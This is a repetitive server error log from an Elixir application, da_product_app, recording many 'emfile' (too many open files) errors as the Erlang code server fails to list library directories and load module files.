[Sun Sep  6 00:59:42.819000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.819000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.819000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.819000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.820000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.820000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.820000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.820000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.820000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.820000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.820000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.820000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.820000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.820000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.820000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.821000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.821000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.821000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.821000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.822000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.823000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.823000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.824000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.824000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.824000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.824000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.825000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.825000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.825000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.825000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.826000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.826000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.826000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.826000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.827000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.827000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.827000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.827000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.827000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.828000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.828000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.828000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.829000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.829000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.829000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.829000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.829000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.829000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.829000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.829000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.829000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.829000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.829000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.829000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.829000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.829000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.829000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.829000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.829000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.830000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.830000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.830000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.830000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.830000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.830000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.830000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.830000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.830000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.830000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.830000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.830000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.830000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.830000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.830000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.830000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.831000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.831000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.831000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.831000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.831000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.831000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
